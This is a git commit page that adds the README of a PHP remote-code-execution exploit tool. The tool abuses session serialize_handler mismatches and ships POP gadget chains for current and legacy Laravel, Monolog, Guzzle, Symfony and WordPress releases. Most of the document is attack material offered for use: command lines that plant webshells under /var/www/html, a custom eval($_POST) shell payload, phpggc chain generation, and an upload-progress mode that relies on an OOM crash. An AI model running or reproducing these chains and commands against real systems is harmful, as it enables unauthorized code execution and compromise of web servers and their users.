Session deserialization RCE via serialize_handler mismatch (no LFI)

Exploits the interaction between php_serialize and php session handlers:
when one endpoint writes sessions with php_serialize (Laravel, Symfony
default) and another reads with the php handler (PHP default), injected
pipe characters cause arbitrary deserialization at session_start().

12 built-in POP chains covering current and legacy library versions:
- monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest)
- laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest)
- monolog-cmd/fw: Monolog 1.17.2-2.x
- laravel-cmd/fw: illuminate 5.4-8.x
- guzzle-fw: Guzzle 4.0-7.x
- symfony-cmd/fw: Symfony 2.6-4.4.18
- wordpress-cmd/fw: WordPress 6.4.0-6.4.1

All chains tested end-to-end through the full HTTP exploit flow on
PHP 8.3. Accepts custom phpggc chains via --chain-file.
This commit is contained in:
neko
2026-10-21 20:47:37 +00:00
parent e58bb493af
commit 7fecd435cc
8 changed files with 1336 additions and 0 deletions
+237
View File
@@ -0,0 +1,237 @@
# Session Deserialization RCE via Handler Mismatch
Remote code execution through PHP's `session.serialize_handler` mismatch.
No LFI required. No FPM dependency. Works on any SAPI.
## How It Works
PHP supports multiple session serialization formats. The two relevant ones:
- `php` (the default): stores session data as `key|serialized_value`
- `php_serialize`: stores session data as a single `serialize()`d array
When one endpoint writes session data using `php_serialize` and another
reads it using the `php` handler, the pipe character `|` inside a
serialized string is misinterpreted as a key/value delimiter. This causes
PHP to call `unserialize()` on attacker-controlled data when
`session_start()` runs on the second endpoint.
### Attack flow
```
1. Attacker POSTs to endpoint A (php_serialize handler):
data = |O:28:"Monolog\Handler\GroupHandler":1:{...}
2. PHP stores this in the session file as:
a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";}
3. Attacker GETs endpoint B (php handler) with the same session ID.
session_start() reads the file and splits on |:
key = a:1:{s:4:"data";s:550:"
value = O:28:"Monolog\Handler\GroupHandler":1:{...}
PHP calls unserialize() on the value.
4. The deserialized object's __destruct method fires,
triggering the POP gadget chain for RCE.
```
### What makes a target vulnerable
The exploit requires ALL of the following:
1. **Two endpoints with different session serialize handlers.** One must use
`php_serialize`, the other must use the default `php`. PHP's own default
is `php` for both, so this mismatch only occurs when a framework or
application explicitly changes the handler for some endpoints.
2. **Shared session storage.** Both endpoints must read/write the same
session files (same `session.save_path`). This is the default when
both run under the same PHP installation.
3. **A POP gadget chain in autoloaded classes.** The deserialized objects
must exist in classes that PHP has loaded (via autoloader or require).
The chain must reach a dangerous sink (system(), file_put_contents(), etc.)
through magic methods (__destruct, __wakeup, __toString, etc.).
### Where this mismatch occurs in practice
- **Laravel** sets `session.serialize_handler = php_serialize` in its
session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin,
admin scripts, health checks, legacy code) uses the PHP default `php`.
- **Symfony** configures `php_serialize` via `NativeSessionStorage`. Adjacent
applications on the same server may not.
- **Shared hosting** where multiple PHP applications share the same session
save path but use different frameworks.
- **Mixed codebases** where old and new code coexist on the same domain,
with the new code using a framework and the old code using raw PHP sessions.
A single-application deployment where every endpoint uses the same handler
is NOT vulnerable to this attack.
## Injection Modes
### inject (primary)
The target has an endpoint that stores POST data into `$_SESSION` using
the `php_serialize` handler. The attacker sends `|<serialized_chain>` as
a POST value. A second request to a `php`-handler endpoint triggers
deserialization.
```bash
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain laravel10-cmd --cmd 'id'
```
### progress (no app session storage needed)
Uses `session.upload_progress` to inject the `|` character via the upload
filename field. No application-level session writing needed. Combined with
the OOM crash from CVE-2026-109618 to persist past cleanup.
Limitation: multipart filenames cannot contain NULL bytes, so the POP chain
can only use public properties (no protected/private property serialization).
```bash
python3 exploit.py --mode progress \
--write-url http://target/any.php \
--trigger-url http://target/default.php \
--chain wordpress-cmd --cmd 'id'
```
## Built-in POP Chains
Each chain is tested end-to-end through the full HTTP exploit flow
on PHP 8.3 against the listed library version.
### Current versions (work on latest releases)
| Chain | Library | Tested on | Type | Description |
|---|---|---|---|---|
| `monolog3-fw` | monolog/monolog 3.0+ | 3.12.1 | File write | GroupHandler > DeduplicationHandler > file_put_contents |
| `laravel10-cmd` | illuminate 10.0-13.x+ | v13.38.0 | Command | PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system() |
| `laravel10-fw` | illuminate 10.0-13.x+ | v13.38.0 | File write | Same chain, writes via system("printf ... > path") |
### Legacy versions
| Chain | Library | Tested on | Type | Description |
|---|---|---|---|---|
| `monolog-cmd` | monolog/monolog 1.17.2-2.x | 2.10.0 | Command | SyslogUdpHandler > BufferHandler (self-ref) > system() |
| `monolog-fw` | monolog/monolog 1.17.2-2.x | 2.10.0 | File write | Same chain, writes via system("printf ...") |
| `laravel-cmd` | illuminate 5.4-8.x | 8.83.27 | Command | PendingBroadcast > Dispatcher > system() |
| `laravel-fw` | illuminate 5.4-8.x | 8.83.27 | File write | Same chain, writes via system("printf ...") |
| `guzzle-fw` | guzzlehttp/guzzle 4.0-7.x | 7.16.0 | File write | FileCookieJar > save() > file_put_contents (JSON wrapped) |
| `symfony-cmd` | symfony 2.6-4.4.18 | 4.4.18 | Command | WindowsPipes > SortableIterator > ArrayObject > call_user_func("system") |
| `symfony-fw` | symfony 2.6-4.4.18 | 4.4.18 | File write | Same chain, writes via system("printf ...") |
| `wordpress-cmd` | WordPress 6.4.0-6.4.1 | 6.4.1 | Command | WP_HTML_Token.__destruct > call_user_func (public props, NULL-free) |
| `wordpress-fw` | WordPress 6.4.0-6.4.1 | 6.4.1 | File write | Same chain, writes via system("printf ...") |
### Why some chains have version ceilings
- **Monolog 3.0+** introduced typed properties (`Monolog\Level` enum). The 2.x
RCE1 chain sets `$level = null`, which throws `TypeError` on typed properties.
The 3.x chain uses `GroupHandler` + `DeduplicationHandler` instead.
- **Laravel 9.0+** changed `Dispatcher::dispatch()` to wrap string listeners
in `createClassListener()`, which calls `$this->container->make()` on a null
container. The RCE22 chain routes through `league/commonmark` `Environment`
instead.
- **Guzzle 8.0+** added `__unserialize()` on `FileCookieJar` that throws
`LogicException` on deserialization.
- **Symfony 4.4.19+** added `__wakeup()` on `WindowsPipes` that throws
`BadMethodCallException`.
- **WordPress 6.4.2+** added `__wakeup()` on `WP_HTML_Token` that throws
`LogicException`. All other WP core gadget classes (`FilteredIterator`,
`Requests\Hooks`) are also patched. No known POP chain exists in WordPress
7.x core.
### Custom chains
Any phpggc chain works via `--chain-file`. Supports raw PHP serialized output
and base64 (auto-detected).
```bash
phpggc Monolog/RCE1 system id > chain.bin
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain-file chain.bin
# Or base64:
phpggc Laravel/RCE22 system id -b > chain.b64
python3 exploit.py ... --chain-file chain.b64
```
## Usage
```bash
# File write webshell (Monolog 3.x, current):
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain monolog3-fw \
--write-path /var/www/html/shell.php
# Direct command execution (Laravel 10+, current):
python3 exploit.py --inject-url http://target/save.php \
--inject-param data \
--trigger-url http://target/view.php \
--chain laravel10-cmd --cmd 'id'
# Custom shell code:
python3 exploit.py ... --chain monolog3-fw \
--write-path /var/www/html/s.php \
--shell-code '<?php eval($_POST["x"]); ?>'
# Progress mode (no POST-to-session endpoint needed):
python3 exploit.py --mode progress \
--write-url http://target/any_endpoint.php \
--trigger-url http://target/default_handler.php \
--chain wordpress-cmd --cmd 'id'
```
## Options
```
--mode {inject,progress} Injection mode (default: inject)
--inject-url URL Endpoint that stores POST data in $_SESSION (php_serialize)
--inject-param PARAM POST parameter stored in $_SESSION (default: data)
--write-url URL Any endpoint for progress mode injection
--trigger-url URL Endpoint using default php handler (triggers deserialization)
--chain CHAIN Built-in POP chain name
--chain-file FILE Custom serialized chain (phpggc output, raw or base64)
--write-path PATH File path for fw chains (webshell destination)
--shell-code CODE Custom PHP code for fw chains
--cmd CMD Command for cmd chains
--fields N OOM pressure fields for progress mode (default: 30000)
--field-size N Bytes per OOM field (default: 512)
```
## Test Environment
The test endpoints used for verification:
`test_serialize.php` (inject endpoint, uses php_serialize):
```php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
foreach ($_POST as $k => $v) $_SESSION[$k] = $v;
```
`test_trigger.php` (trigger endpoint, uses default php handler):
```php
<?php
require 'vendor/autoload.php'; // loads framework classes
session_start(); // deserializes session data
```
The mismatch between `php_serialize` on the first and `php` (default) on the
second is what enables the attack.